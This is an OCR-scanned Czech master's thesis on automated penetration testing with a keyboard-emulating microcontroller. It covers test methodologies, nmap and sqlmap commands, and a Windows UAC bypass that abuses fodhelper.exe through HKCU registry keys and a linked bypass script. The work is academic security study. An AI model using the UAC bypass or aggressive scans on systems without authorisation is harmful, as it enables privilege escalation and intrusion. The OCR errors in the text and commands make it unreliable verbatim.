Automatizované penetracni testy
s vyuzitim mikropocitact

Bc. Michal Padysak

Diplomova prace Univerzita Tomase Bati ve Zliné
2022 Fakulta aplikované informatiky




Univerzita Tomase Bati ve Zliné
Fakulta aplikované informatiky
Ustav elektroniky a méfeni

Akademicky rok: 2021/2022

ZADANI DIPLOMOVE PRACE

(projektu, uméleckého dila, uméleckého vykonu)

Jméno a pfijmeni:  Bc. Michal Padysak

Osobni islo: A18310

Studijni program: N3902 InZenyrska informatika

Studijni obor: Bezpecnostni technologie, systémy a management

Forma studia: Kombinovana

Téma prace: Automatizované penetracni testy s vyuZitim mikropocitacii

Téma prace anglicky: Automated Penetration Tests Using Microcomputers

Zasady pro vypracovani

Seznamte se s problematikou podnikového IT a jeho bezpecnosti.

Uvedte typy a metodiky penetracnich testd.

Seznamte se s moznostmi vyuZiti HID pro penetracni testy.

Navrhnéte a realizujte, s vyuzitim platforem Arduino nebo Teensy 3.x, zafizeni pro provadéni automatizovanych pe-
netracnich testd.

Zatizeni uzpisobte jako lehce prenositelné a schopné generovat prehledné vystupy.

. Otestujte navrzené zafizeni.

.p.wr\.\_—x



Forma zpracovani diplomové prace: tiSténa/elektronicka

Seznam doporucené literatury:

1. PEREA, Francis. Arduino Essentials. Birmingham, Velkd Briténie: Packt Publishing, 2015. 1SBN 978-1-78439-856-9.

2. KIM, Peter. Hacking: prakticky privodce penetraénim testovanim. PreloZil Jan POKORNY. Brno: Zoner Press, 2015.
Encyklopedie Zoner Press. ISBN 9788074133138.

3. DUNKERLEY, Mark a Matt TUMBARELLO. Mastering Windows Security and Hardening. Birmingham, Velkd Britanie:
Packt Publishing, 2020. ISBN 9781839216411.

4, HARRIS, Shon. Hacking: manudl hackera. Praha: Grada, 2008. ISBN 9788024713465.

5. TRINKA, Jeremy. The USB Threat is [Still] Real —Pentest Tools for Sysadmins, Continued. Medium [online].
19.4.2018 nestrankovano [cit. 2021-12-03]. Dostupné z: https://medium.com/@jeremy.trinka/the-ush-threat-is-
still-real-pentest-tools-for-sysadmins-continued-88560af447bf

Vedouci diplomové prace: Ing. Lukas Kralik, Ph.D.
Ustav pocitacovych a komunikacnich systémii

Datum zadani diplomové prace: 3. prosince 2021
Termin odevzdani diplomové prace: 23. kvétna 2022

— % ko

W § ’?\ ‘:\.
// O\] ang / e /
A X O - O

doc. Mgr. Milan Adamek, Ph.D. v..
dékan

Ing. Milan Navrétil, Ph.D. v.r.
feditel Ustavu

Ve Zliné dne 7. inora 2022



Prohlasuji, Ze

e beru na védomi, Ze odevzdanim diplomové prace souhlasim se zvefejnénim své
prace podle zakona ¢. 111/1998 Sb. o vysokych 8kolach a o zméné a doplnéni
dalsich zakoni (zakon o vysokych §kolach), ve znéni pozdé&jsich pravnich predpisi,
bez ohledu na vysledek obhajoby;

e beru na védomi, Ze diplomové prace bude ulozena v elektronické podobé v univer-
zitnim informacnim systému dostupnéa k prezenc¢nimu nahlédnuti, Ze jeden vytisk
diplomové prace bude ulozen v pfiru¢ni knihovné Fakulty aplikované informatiky.
Univerzity Tomase Bati ve Zliné a jeden vytisk bude ulozen u vedouciho préce;

e byl/a jsem seznamen /a s tim, Ze na moji diplomovou praci se plné vztahuje zéakon
¢. 121/2000 Sb. o pravu autorském, o pravech souvisejicich s pravem autorskym
a o zméné nékterych zakoni (autorsky zékon) ve znéni pozdéjsich pravnich pied-
pisi, zejm. § 35 odst. 3;

e beru na védomi, 7e podle § 60 odst. 1 autorského zdkona méa UTB ve Zliné
pravo na uzavieni licenéni smlouvy o uziti Skolniho dila v rozsahu § 12 odst. 4
autorského zakona;

e beru na védomi, ze podle § 60 odst. 2 a 3 autorského zdkona mohu uzit své
dilo — diplomovou préci nebo poskytnout licenci k jejimu vyuziti jen piipousti-li
tak licen¢ni smlouva uzaviend mezi mnou a Univerzitou Tomése Bati ve Zliné
s tim, Ze vyrovnani pifipadného pfiméieného piispévku na thradu nékladu, které
byly Univerzitou Tomése Bati ve Zliné na vytvofeni dila vynalozeny (az do jejich
skutefné vyse) bude rovnéz predmétem této licen¢ni smlouvys;

e beru na védomi, ze pokud bylo k vypracovani diplomové prace vyuzito soft-
waru poskytnutého Univerzitou Toméase Bati ve Zliné nebo jinymi subjekty pouze
ke studijnim a vyzkumnym ucelim (tedy pouze k nekomer¢nimu vyuziti), nelze
vysledky diplomové prace vyuzit ke komercénim ucelium;

e beru na védomi, Ze pokud je vystupem diplomové prace jakykoliv softwarovy
produkt, povazuji se za soucCast prace rovnéz i zdrojové kody, popf. soubory, ze
kterych se projekt sklad4. Neodevzdani této soucasti mize byt diivodem k neob-
h&ajeni prace.

Prohlasuji,

e e jsem na diplomové praci pracoval samostatné a pouzitou literaturu jsem citoval.
V pripadé publikace vysledku budu uveden jako spoluautor.

e 7e odevzdana verze diplomové prace a verze elektronickd nahrana do IS/STAG
jsou totozné.

Ve Zling Be. Michal Padysak, vr.

podpis autora


Michal Padyšák
Bc. Michal Padyšák, v.r.


ABSTRAKT

Tato diplomova prace se vénuje feseni problematiky v oblasti automatizovaného pe-
netra¢niho testovani. V ramci feSeni vzniklo zafizeni pro provadéni penetrac¢nich testi
dostupnych na pamétové karté s vyuzitim mikropocitace. Pii pfipojeni mikropocitace
k testovanému pocitaci je automaticky spusténa sada testu s vyuzitim simulace kla-
vesnice. Vysledky testi jsou nahrany zpét na pamétovou kartu k analyze penetraénim

testerem.

Kli¢ova slova: Penetracni testovani, automatizace, mikropocitac, zarizeni lidského roz-

hrani

ABSTRACT

This thesis is dedicated to solving problems in the field of automated penetration tes-
ting. As part of the solution, a device was created to perform penetration tests available
on a memory card using a microcomputer. When the microcomputer is connected to
the computer under test, a set of tests is automatically run by using simulation of
keyboard. The test results are uploaded back to the memory card for analysis by the

penetration tester.

Keywords: Penetration testing, automation, microcomputer, human interface device
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UVOD

Mnozstvi pocitacu je obrovské a pocet zranitelnosti neklesa. Naopak, s kazdym novym
systémem v pocitaci, nebo aktualizaci obsahujici novou funcionalitu, vznikaji nové
prilezitosti pro zanechani chyby v systému. To stejné plati i pro bezpec¢nou konfiguraci,
protoze i kvalitni systém lze chybné nastavit. Pokud chceme minimalizovat nasledky
naruseni bezpecnosti, je vhodné provadét preventivni opatfeni v podobé penetracnich

testu. Toto testovani je vhodné zvlast v prostiedi firem a dilezitych organizaci.

Penetrac¢ni testovani je ¢asové naro¢né ¢innost a vyzaduje odbornika — penetra¢niho
testera. Ten musi byt zkuSeny a mit Siroky rozhled v celém oboru informac¢nich techno-
logii. Tohle jsou pomérné dost vysoké naroky a téchto odbornikii neni mnoho. Zv1ast
v situacich, kdy je potieba provést testovani na vice pocitacich v co nejkratsim case,
je tento problém znatelny a zaroven drahy.

Cilem prace je vytvorit univerzalni zafizeni pro penetracni testovani a ulehéit préaci
testerum. Cely proces testovani se tak zrychli a zaroven zlevni.

Pro seznameni s penetracnim testovanim jsou v kapitole 1 popsani jejich aktéri,
typy a metodiky. Kapitola 2 zminuje nastroje pro penetracni testovani a jejich pouziti.
JelikoZ je nutné popsat i princip prace s uzivatelkym opravnénim v opera¢nim systému
Windows, je v kapitole 3 popséan i s piikladem, jak spustit aplikaci pod jinym uziva-
telskym tctem. Vedle toho je navod na vyuziti chyby pro elevaci prav pro tuto praci.
Kapitola 4 obsahuje definici mikropocitace, dile nastroje jak mikropocita¢ programo-
vat, a nakonec i podkapitolu o podobném jiz existujicim zafizeni. Zafizeni musi pro
ovladani pocitace udrzovat komunikaci, toto je popsano v kapitole 5. Kapitola zaroven
obsahuje popis prokotolu pro prenos soubor.

Praktickd ¢ast prace obsahuje zejména v kapitole 6 popis vyroby zafizeni a jeho
konstrukei. Nasledujici kapitola 7 obsahuje popis zdrojového kédu programu s odkazy
do pfiloh, a to z pohledu mikrokontorleru i poc¢itace. Tim, Ze se jednd o nové zafizeni,
je v kapitole 8 navod k pouziti. Aby mohlo zafizeni fungovat, potiebuje testy. Jejich
priklady jsou dostupné v kapitole 9. V dalsi a posledni kapitole 10 je pouziti téchto

testii popsano na skute¢nych pripadech.



UTB ve Zliné, Fakulta aplikované informatiky

12

I. TEORETICKA CAST
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1 Penetracéni testy

Penetrac¢ni testovani zahrnuje simulaci skute¢ného atoku pro posouzeni bezpecnostniho
risku. Penetrac¢ni test objevuje zranitelnosti, které jsou zneuzitelné itoc¢niky. Tam, kde
to je mozné, jsou objevené zranitelnosti vyuzity k dalsimu posouzeni, co miize atocnik
po tspésném utoku ziskat. [1]

Piiru¢ka Amerického narodniho institutu pro standardizaci a technologie [2] uvadi,
7e testovani také Casto zahrnuje skutecné itoky na skutecné systémy a data, které jsou
provadény nastroji a technikami pouzivané titoc¢niky. Testované systémy mohou byt do-
konce béhem testu poskozeny, organizace vSak stile benefituji z védomosti, jak mohou
byt jejich systémy naruseny opravdovym ttokem. Casto se u penetracnich testi obje-
vuje i kombinace netechnickych metod ttoku. Napiiklad muze tester prolomit fyzické
zabezpeceni a procedury pro pripojeni k pocitacové sitim, ukrast vybaveni, naruSovat

komunikaci nebo sbirat citlivé informace pies keyloggery.

1.1 Druhy penetrac¢nich testi

Selecky [3] zmifiuje celkem t¥i zpusoby jakymy muZou byt testy provadény, tj. manu-
alni, automatické a semiautomatické. Testy dale déli podle miry znalosti na Black-box,
White-box a Grey-box. Na webové strance spole¢nosti Integra Czech Republic, s.r.o.
[4] je popsan rozdil penetra¢nich testt dle pozice ato¢nika. Na za¢atek je tieba zminit,
7e 7adna forma testii nikdy nepokryje cely programovy kod, a tedy neodhali vSechna

zranitelnd mista.
1.1.1 Podle zpiisobu provedeni

Manudlni testy Jsou vykonavany testerem, tedy realnou osobou. Vyhodou je moz-
nost vytvafet sofistikované procedury a testy presné na miru pro specifické podminky.
Toho automatizované testy nékdy nemohou docilit. Tester je schopen ptimo popsat, co
a jak testuje, a to je velkd vyhoda. Vysledky testi je schopen popsat i nezainteresto-
vanym osobam, to miize byt kdokoliv, kdo neméa o dané oblasti pfehled nebo znalosti.
Napiiklad vedeni nebo vrcholovy management. Nevyhodou je nutna rozsdhla znalost
testera nejen v dané oblasti testovani. Napriklad moznosti, jak vytvoiit webovou apli-
kaci je nepfeberné mnozstvi. Dalsi nevyhodou je samotné ¢asova naroc¢nost provadéni

testl manualné.

Automatizované testy Nabizi vyhody v rychlosti, moznostech rozsititelnosti podle
vlastnich potieb a v relativné jednoduché verifikovatelnosti a reprodukovatelnosti. Na-
stroje vyuzivané pifi automatizovaném testovani jsou zpravidla vytvoreny profesionaly

s mnohletymi zkuSenostmi. S porovnanim s manualnimi testy je vyrazné kratsi nutna
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doba na zauceni a naslednou aplikaci testu v praxi. Je totiz jednodussi naucit se pou-
zivat aplikaci na ovladani testii nez plné rozumét principtim celych testii provadénych
manuélné.

Nevyhodou je nemoznost prezentovat vysledky v uzivatelsky piivétivé formé nebo
blize vysvétlit podrobnosti k danému problému. Pro pochopeni a spravnou interpre-
taci je opét nutné znalost pouzitych aplikaci a testovanych oblasti. Dalsi nevyhoda je

nemoznost timto zptisobem testovat nékteré typy zranitelnych mist.

Semiautomatizované testy Jde o kombinaci manualnich a automatizovanych testi.

Jedna se o kompromis se snahou o maximalni vyuziti vyhod obou obou pfistupt.

1.1.2 Podle miry znalosti

Black-bozx testy Nejpouzivanéjsi druh testt, kdy je simulovan ttoc¢nikav vnéjsi vstup.
Ten zna pouze vstupy a potencialni vystupy aplikaci. Nikoli v§ak vnitini strukturu apli-
kaci ¢i sité. Pro urceni vstupu a vystupt testovanych systémii je v urcitych pripadech
nutny rozsahly prizkum. Samotnda funkcionalita systému je pro testera ¢ernou skiinkou
(Black-box). Protikladem jsou tzv. White-box testy.

White-box testy S porovnanim s Black-box testy jsou pro tento typ testu typické
plné vstupni znalosti. Zakladaji si na znalosti architektury a zdrojového kodu aplikace.
V piipadé pocitacovych siti, na znalosti architektury, typu a poc¢tu pritomnych zafizeni
a na firemnich politikdch. Pfi testovani se hledaji chyby analyzou zdrojového kodu.
Takovy druh testu vyzaduje znalost pouzitého programovaciho jazyka a dobfe napsany
kod.

Vyhodou je znalost kdodu nebo struktury sité. To umoznuje najit potencialni zra-
niteln4d mista v podstatné kratsi dobé. V piipadé aplikaci je pFidruzenou vyhodou
optimalizace kédu, kterou je mozné provadét na zdkladé nalezenych zranitelnych mist
a chyb.

Nevyhodou je nutné znalost pouzitého programovaciho jazyka, coz miize nepiimo
ZVySit cenu testu, protoZe je od testera vyzadovana vyssi kvalifikace. Dalsi nevyhodou

je Casova narocnost a pomérné nizké zaméieni na kéd a architekturu.

Grey-box testy Jsou alternativou k predchozim typum testli. Snazi se maximélné
vyuzit piinosy a vyhody obou vyse uvedenych typu testi. Vyuzivaji se znalosti vnitini
logiky aplikace, ale testy probihaji z hlediska uzivatele nebo, v pripadé bezpe¢nostnich

testi, potencialntho ttoc¢nika.
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1.1.3 Podle pozice tatoénika

Interni testovdni D4 se rozdélit na dvé kategorie, z pozice stanice uzivatele ¢i za-
méstance, tedy osoby, kterd ma opravnéni s pocitacem ¢i technikou pracovat. Druhou
kategorii je osoba cizi, tedy navstéva ¢i osoba, kterd nemé opravnéni s pocitacem c¢i
technikou pracovat.

Ptiklad fazi interniho testovani ve firmé, pti simulaci Gtoku z pozice stanice uzivatele,

kterd ma doménovy tcet bez administratorského piistupu:

1. Zisk administratorskych opravnéni.

2. Ze ziskané pozice zanalyzovat informace a zranitelnosti v okolni interni siti.
3. Utok na ostatni pozice.

4. Zisk opravnéni doménového administratora.

5. Ze ziskané pozice zanalyzovat informace a zranitelnosti v okolni interni siti.

6. Utok na sitové prvky, servery a dalsi zafizeni.

Nasleduje piiklad fazi interniho testovani, ovSem nyni z pozice navstévnika firmy.
V tomto scénéii ovéiime, zda jsou plné izolovany piistupové sité urcéené pro hosty, kteti
nemaji vlastni uzivatelsky tucet. Jedna se napiiklad o pristup ze zasedacich mistnosti,

nechranénych ethernet zasuvek na chodbéach a jinych mistech.

Externi testovdni Je pruzkumem moznosti infiltrace z vnéjsiho prostfedi bez znalosti
pocitacové sité. Cilem téchto testi jsou exponované zarizeni a aplikace do vefejného
internetu. Testy jsou ¢asto provadéné metodou Black box a mohou byt rozdéleny na-
piiklad do téchto fazi:

1. Zjisténi co nejvice informaci o infrastruktufte.

2. Testovani vefejnych komponent sité. Témi mohou byt oteviené porty a jejich
sluzby, u kterych se hledaji bezpecnostni chyby s naslednou kategorizaci dle jejich

7Z&vaznosti.

3. V pripadé nalezeni zranitené sluzby je provedena jeji exploitace a ziskani piimého

pristupu (shell) k testovanému cili.

4. Pokud v ramci exploitace dojde k ziskani low-privileged pfistupu, jsou prozkou-

méany moznosti zvySeni na administratorské opravnéni.
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1.2 Utoénici

Muzeme je rozdélit na tii skupiny podle amysli jejich ¢int, a to na black hat, white
hat a gray hat. [5]

1.2.1 Black hat

Black hat ttoc¢nici maji vétsinou rozsahlé védomosti o moznostech, jak se dostat do
pocitacovych siti, a jak obchézet bezpecnostni protokoly. Casto vytvari malware, ktery
jim umoznuje ziskat pristup do pocitacovych siti, Spehovat obét nebo uzamknout zaii-
zeni.

Tito Gtocnici typicky konaji pro své osobni obohaceni, mohou vsak také byt soucasti

kyberspionaze nebo protestu. Nékteri mohou byt dokonce zavisli na kyberzloc¢inu.

Mohou to byt amatéfi nebo profesionalové. Staci, aby tfeba zacali $ifit malware nebo

kradli data, naptiklad osobni informace nebo piihlasovaci idaje.

1.2.2 White hat

Utocnici zkugeni stejné jako black hat. Rozdil je ale v timyslech tto¢nika. Svoje vé-
domosti a zkuSenosti vyuziva ke konéni dobra. Jsou znami také jako eti¢ni hackefi.
Mohou byt za své sluzby placeni jako zaméstnanci nebo kontraktoii v roli bezpecnost-

niho specialisty, ktery se snazi najit zranitelnosti.

Na rozdil od black hat konaji s povolenim vlastnika systému, jejich ¢innost je tedy
legalni. Provadi penetrac¢ni testy, testuji existujici bezpecnostni systémy a hledaji zra-
nitelnosti v podnikovych poditacich. Existuji dokonce celé konference, certifikace nebo

kurzy pro lidi, ktefi se chtéji etickému hackingu naucit.

1.2.3 Gray hat

Jsou to lidé, kteii jsou nékde na pomezi tmysli mezi white a black hat. Pfimo nechtéji
konat nelegdlni ¢innost, ¢asto se ovSem nabouravaji do systému obéti a hledaji zrani-
telnosti, nechtéji skodit. Obét ale o ¢innosti ato¢nika nevi nebo nedala svoleni, takze

je tato ¢innost nelegalni.

Pokud tuto¢nik zranitelnosti najde, tak je zpravidla ozndmi vlastnikovi. Casto ale
chtéji odménu. Pokud jim nenf odména vyplacena, Gto¢nik své zjisténi zverejni.

Tito utoc¢nici nejsou primo skodlivi, pouze se snazi za sva zjisténi néco ziskat. Zra-

nitelnosti pouze zjistuji a nezneuzivaji jich.
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1.3 Priistupy k penetra¢nim testim

Pro samotné penetracni testovani existuje nékolik metodik, penetra¢ni tester si tak
mize vybrat idealni pFistup. Mezi ptiklady lze dle stranky Securium Solutions |6| za-
radit metodiky a pomiicky Open-Source Security Testing Methodology Manual, Open
Web Application Security Project, Information Systems Security Assessment Framework

a Penetration Testing Execution Standard.

1.3.1 Open-Source Security Testing Methodology Manual

Piirucka Open-Source Security Testing Methodology Manual (OSSTMM) [7] definuje
postupy pro popis provozni bezpecnosti (také znamé jako OpSec) skrz kontrolu vy-
sledku testu, které byly provedeny spolehlivou a konzistentni cestou. Vysledky testu
jsou mezi sebou porovnatelné. Postupy jsou adaptibilni na téméf jakykoliv typ au-
ditu, do kterého spada penetracni testovani, eticky hacking, posuzovani bezpec¢nosti,

zranitelnosti a tak dale. Tuto ptirucku zmifiuje ve své knize i Selecky [3].

Ptirucka obsahuje soubor metodik, jak postupovat pii ruznych fazich testu. Meto-
dologie zahrnuje zakladni oblasti, naptiklad: bezpec¢nost informac¢ni, procesni, komuni-

kac¢ni, fyzickou, sitovou nebo bezdratovou. Jednotlivé faze jsou pak nasledujici:

e Indukéni faze
o faze interakce
e faze vySetfovani
e faze intervence
1.3.2 Penetration Testing Execution Standard

Shanley a Johnstone v ¢lanku [8] tento standard (také jako PTES) popisuji jako jed-
notlivé kroky, podobné jako u OSSTMM, a to:

e faze interakce pred zacatkem
e shromazdovani informaci

e modelovani zranitelnosti

e analyza zranitelnosti

o [aze zneuziti

e faze po zneuziti
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e reportovani

PTESY do sebe za¢leiuje dalsi zdroje a vyuziva jejich vyhody. Napiiklad projekt
Open Web Application Security Project? (OWASP) uréeny k testovani webovych apli-
kaci je doporucovan pravé v PTES. Tento standard se snazi vytvofit zakladnu pro pene-
tra¢ni testy. Diky tomu bezpecnostni odbornik nebo organizace miize tusit, co oc¢ekavat

od penetra¢niho testovani.

1.3.3 Information Systems Security Assessment Framework

Také znam jako ISSAF, je rimcem pro penetraéni testovani vytvoreny skupinou Open
Information Systems Security Group (OISSG). V ¢lanku od Shanley a Johnstone [§]
je popsan jako ramec obsahujici nékolik metodologii snazici se pokryt vSechny mozné
domény penetracniho testovani od koncepce az po kompletaci. Metodologie je rozdélena

do t¥{ hlavnich fazi:

e fize planovani a piipravy
e f4ze ohodnoceni

e faze reportovani a ¢isténi

Jednou z vyhod ISSAF je zejména to, Ze je zobrazen zietelny vztah mezi tikoly

a jejich pfridruzenymi néastroji pro kazdy tkol.

Dhttp:/ /www.pentest-standard.org/
Dhttps://owasp.org/
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2 Nastroje pro penetra¢ni testovani

Nastroje znac¢né ulehcuji praci penetracnimu testerovi, jsou totiz specializované ke kon-
krétnim tloham. Napiiklad k objevovani zranitelnosti, Spatného nastaveni systému
nebo aplikaci, analyzu zabezpeceni, ¢i jenom k reportovani aktuélniho stavu. Pro tyto

a dalsi tkony mohou poslouzit nasledujici nastroje v této kapitole.

2.1 NMAP

Autor nastroje Lyon [9] na své webové strance zmifiuje, jak nastroj funguje. Mimo to,
Ze je nastroj volné ke stazeni, autor véii, Ze splituje definici Open Source Definition"
(OSD). Je vydavan na zakladé licence GNU GPLv2?). Jedina vyjimka je pro organizace,
které chtéji nastroj NMAP prodavat spoleéné se svymi nastroji, ty musi platit za

specilni edici. Je dostupny pro celou fadu operac¢nich systémi, Windows nevyjimaje.

2.1.1 Funkcionalita

Kim [10] zminuje NMAP jako néstroj vhodny k detekci pouzitého operacniho systému
a sluzeb na ném bézicich. V pripadé pravidelného skenovani je vhodné jednotlivé skeny
mezi sebou porovnéavat. Tim se daji vypatrat pfipadné zmény prostiedi v pribéhu ¢asu.

Lyon [9] sviij nastroj popisuje jako nastroj pro priuzkum sité a bezpefnostni audit. Je
navrzen k rychlému skenovani rozsahlych siti, i kdyz dobte funguje i proti jednotlivym
hostitelim. NMAP pouziva surové pakety IP novymi zptsoby ke zjisténi, jaci hostitelé
jsou v siti k dispozici, jaké sluzby (nazev a verze aplikace) tito hostitelé nabizeji, jaké
operacni systémy (a verze OS) na nich bézi, jaky typ paketovych filtrii/firewallii se po-
uzivé a desitky dalsich charakteristik. i kdyz se NMAP bézné pouziva pro bezpec¢nostni
audity, mnoho spravcu systémiu a siti jej povazuje za uziteény pro rutinni tlohy, jako
je inventarizace sité, sprava plani aktualizace sluzeb a sledovani provozuschopnosti

hostiteli nebo sluzeb.

Vystupem programu NMAP je seznam skenovanych cili s dopliiujicimi informacemi
o kazdém z nich v zavislosti na pouzitych moznostech. Klicovou informaci je Tabulka
zagimavych porti. V této tabulce je uvedeno ¢islo portu a protokolu, nazev sluzby a jeji
stav. Stav je bud otevieny, filtrovany, uzavieny, nebo nefiltrovany. Otevieny znamena,
ze aplikace na cilovém pocitaéi nasloucha spojeni/paketim na daném portu. Filtro-
vany znamend, ze port blokuje firewall, filtr nebo jina sitova piekazka, takze NMAP
nemuze urcit, zda je otevieny nebo zavieny. Na zavienych portech neposlouché zZadna

aplikace, ackoli se mohou kdykoli oteviit. Porty jsou klasifikovany jako nefiltrované,

1)
2)

https://opensource.org/docs/definition.php
https://www.gnu.org/licenses/old-licenses/gpl-2.0.html


https://opensource.org/docs/definition.php
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UTB ve Zliné, Fakulta aplikované informatiky 20

pokud reaguji na sondy NMAPu, ale NMAP nedokédze urcit, zda jsou oteviené nebo
zaviené. NMAP hlasi kombinace stavi otevieny /filtrovany a uzavieny/filtrovany, kdyz
nedokaze urcit, ktery z téchto dvou stavi popisuje dany port. Tabulka porti muze také
obsahovat podrobnosti o verzi softwaru, pokud byla pozadovina detekce verze. Pokud
je pozadovéno skenovéani protokolu IP (parametr -s0), NMAP poskytuje informace

o podporovanych protokolech TP spiSe nez o naslouchajicich portech.

Kromé tabulky zajimavych porti mize Nmap poskytnout dalsi informace o cilech,

véetné reverznich nazviu DNS, odhadu opera¢niho systému, typu zafizeni a adres MAC.

2.1.2 Ptiklad pouiti

Napriklad sken sité s uplnym skenovanim portu a sluzeb na dostupnych hostitelich
s vyuzitim zdrojového souboru s IP adresami popisuje Andrea [11] jako kombinaci

nasledujicth parametri:

nmap -p- -Pn -8S -A -iL ips.txt -oX fullscan.xml -oN fullscan.txt

e -p- Tento parametr prohleda vSech 65535 porti,

e -Pn zakaze zjistovani hostitele. Pouze skenovani portu,
e -sS skenovani porti TCP SYN,

e -A zjiStuje opera¢ni systémy i sluzby,

e -iL skenuje ze seznamu [P adres v textovém souboru,
e -0X zapiSe vysledky skenovani do souboru XML,

e -ol zapiSe vysledky skenovani do normélniho souboru TXT.

2.2 SQLmap

Vedle nastroje NMAP zminuje Kim [10] také SQLmap. Popisuje ho jako ideéalni né-
stroj pro hledani Structured Query Language injection (SQLi), manipulaci databaze
prostFednictvim piikazii, nebo k udélani jejiho otisku (dump). S vyuzitim injekce do-

kaze dokonce zpristupnit interaktivni shell.

2.2.1 Funkcionalita

Na strance néstroje [12| je SQLmap popsan jako open source néastroj pro penetra¢ni
testovani, ktery automatizuje proces detekce a vyuziti chyb SQLi a prevzeti databa-

zovych serveri. Je vybaven vykonnym detekénim enginem, mnoha specializovanymi
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funkcemi pro dokonalé penetracni testy a Sirokou skalou piepinacu od otiski data-
béaze, pres ziskavani dat z databaze az po pristup k zakladnimu souborovému systému
a spousténi piikazi v opera¢nim systému prostfednictvim out-of-band p¥ipojeni (mimo

hlavni pfipojent).
2.2.2 Priklad pouziti

Singh [13] a HackTricks [14] popisuji, jak se mize nastroj pouzivat. Napiiklad piikazem

crawl je mozné stranku prochazet automaticky a odhalit tak zranitelnosti:

sqlmap -u "http://example.com/"-crawl=1 -random-agent -batch -forms

-threads=5 -level=5 -risk=3

e -batch zapiné neinteraktivni mod (SQLmap se totiz bézné pta ve svém bé&hu na

rizné otazky, tato volba vybere vzdy tu zakladni volbu),
e -crawl jak hluboko (v adresafové struktuie) ma nastroj prohledavat,

e -forms parsuje a testuje formulafe.

Pro mo7né urychleni testi je moZné nastroj spustit s parametrem -threads=N (kde
N je maximalni pocet konkurentné provedenych pozadavki). Cislo by ovSem nemélo

byt vysoké, mize to ovlivnit piesnost vysledkii.
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3 Opravnéni opera¢niho systému Windows

Pro zvysSeni zabezpeceni operacniho systému je vyuzivano preventivniho systému oprav-
néni, ktery uzivatelim a spousténym programim omezuje pravomoci pii jejich praci.
V této kapitole je popsan User Account Control, ktery dilezitou soucasti opera¢niho

systému Windows.

3.1 User Account Control

Na webové strance spole¢nosti Microsoft [15] je hlavni uloha User Account Control
(UAC) popsana jako prevence spousténi malware, které muze poskodit pocitac. Za-
roven pomaha organizacim s nasazovanim lépe spravovatelnych pocitacovych stanic.
S UAC bézi aplikace a tlohy v prostfedi s neadministratorskym uctem, tedy pokud
administrator primo nenastavi administratorskou aroven pro béh. UAC muze zabrénit
automatické instalaci neautorizovanych aplikaci a zabréanit tak sytémovym zménam.
UAC umoznuje vSem uzivatelim piihlasovat se k poc¢itaci pomoci standardniho uzi-
vatelského uc¢tu. Naptiklad Windows Explorer automaticky dédi opravnéni na drovni
standardntho uzivatele. Navic vSechny aplikace spusténé pomoci Windows Explorer
(naptiklad poklepanim na zastupce) se rovnéz spoustéji se standardni sadou uzivatel-
skych opravnéni. Mnoho aplikaci, véetné téch, které jsou soucasti samotného operac¢niho

systému, je navrzeno tak, aby timto zpisobem spravné fungovaly.

Jiné aplikace, zejména ty, které nebyly specialné navrzeny s ohledem na nastaveni
zabezpeceni, ¢asto vyzaduji k aspésnému spusténi dalsi opravnéni. Tyto typy aplikaci
se oznacuji jako starsi aplikace. Kromé toho akce, jako je instalace nového softwaru
a provadéni zmén konfigurace brany Windows Firewall, vyzaduji vice opravnéni, nez
mé k dispozici standardni uzivatelsky tcet.

Pokud je potieba spustit aplikaci s vice nez standardnimi uzivatelskymi pravy, UAC
umoziuje uzivatelim spoustét aplikace jako administrator (se skupinami a pravy ad-
ministratora) namisto jejich standardniho u¢tu uzivatele. Uzivatelé nadéle pracuji v za-
bezpeceném kontextu standardniho uzivatele, piicemz v ptipadé potieby mohou urcité

aplikace spoustét se zvySenymi pravy.
3.2 Spusténi procesu jako administrator

Spusténi procesu nebo procesti lze provést napiiklad pies piikaz Start-Process v ter-
minalu PowerShell na lokdlnim pocitaci. Standardné je spustén novy proces, ktery dédi
vSechny proménné prostiedi, které jsou definovany v bézicim procesu. Timto piikazem
se daji spustit spustitelné soubory a skripty. Pro specifikaci béhu lze k ptikazu pfi-

dat parametry, témi lze napfiklad pfidat nacteni uzivatelského profilu, spustit proces
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v novém okné nebo pouzit jind opravnéni.
Piikladem pouziti je spusténi procesu PowerShell s pravy administratora (Spustit

jako administrétor):

Start-Process -FilePath "powershell" -Verb RunAs

Tento piiklad a popis je dostupny v dokumentaci PowerShell verze 5.1 spole¢nosti
Microsoft [16].

3.3 ZneuzZiti zranitelnosti

Dle spole¢nosti Microsoft [17] dochézi k elevaci opravnéni, kdyz aplikace ziska prava
nebo opravnéni, kterd by neméla mit k dispozici. Mnohé ze zneuziti zvySeni opravnéni
jsou podobné zneuziti pro jiné hrozby.

Jedno z takovych zneuziti je popsédno pro program fodhelper na webové strance
Penetration Testing Lab [18].

Prostiedi systému Windows 10 umoznuje uzivatelim spravovat jazykova nastaveni
pro ruzné funkce systému Windows jako je psani, pievod textu na fe¢ atd. Kdyz uzivatel
pozaduje oteviit Spravovat volitelné funkce v Nastaveni systému Windows, aby provedl
zménu jazyka, vytvori se proces s ndzvem fodhelper.exe. Tento proces je spustén
s vysokou drovni opravnéni. Proces vyhledava nasledujici registry v systému:
HKCU:\Software\Classes\ms-settings\shell\open\command

HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute
HKCU:\Software\Classes\ms-settings\shell\open\command\ (default)

Tyto registry sice neexistuji, ale uzivatel je mtze vytvorit. Jak anglické nazvy v re-
gistrech vypovidaji (piikaz), jedna se o spusténi piikazu z registru za béhu, v tomto
piipadé i podsunutého.Tim zneuzije programu fodhelper tak, aby spustil piikaz s vy-
sokym opravnénim a obeSel nastaveni UAC.

Priklad spusténi PowerShell zneuzitim zranitelnosti je vidét na obrazku 3.1.

Kod pro automatizaci procesu spusténi je dostupny v repositafi na adrese https:
//github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.psl.
Spusténim tohoto skriptu je mozné vyzkouset, jestli je zranitelnost stéle dostupné a tim
padem vyuzitelna.

Pro spusténi piikazové tfadky jako administrator je skript spoustén nésledujicim

zpusobem:

FodhelperBypass -program "cmd.exe"

Pokud chceme spustit piikazovou fadku jako administrator s PowerShellem, tak staci

zaradit pfikaz pro spusténi PowerShellu na konec:


https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1
https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1
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Computer\HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command

v

xbox
xbox-arena
xbox-friendfinder
xbox-gamehub
xboxgames
xbox-Ifg
xboxliveapp-129728774
xboxmusic
xbox-network
xbox-profile
xbox-settings
xbox-store
xbox-tcui
zune
ms-settings

shell
v open

------ command

~

Name Type Data
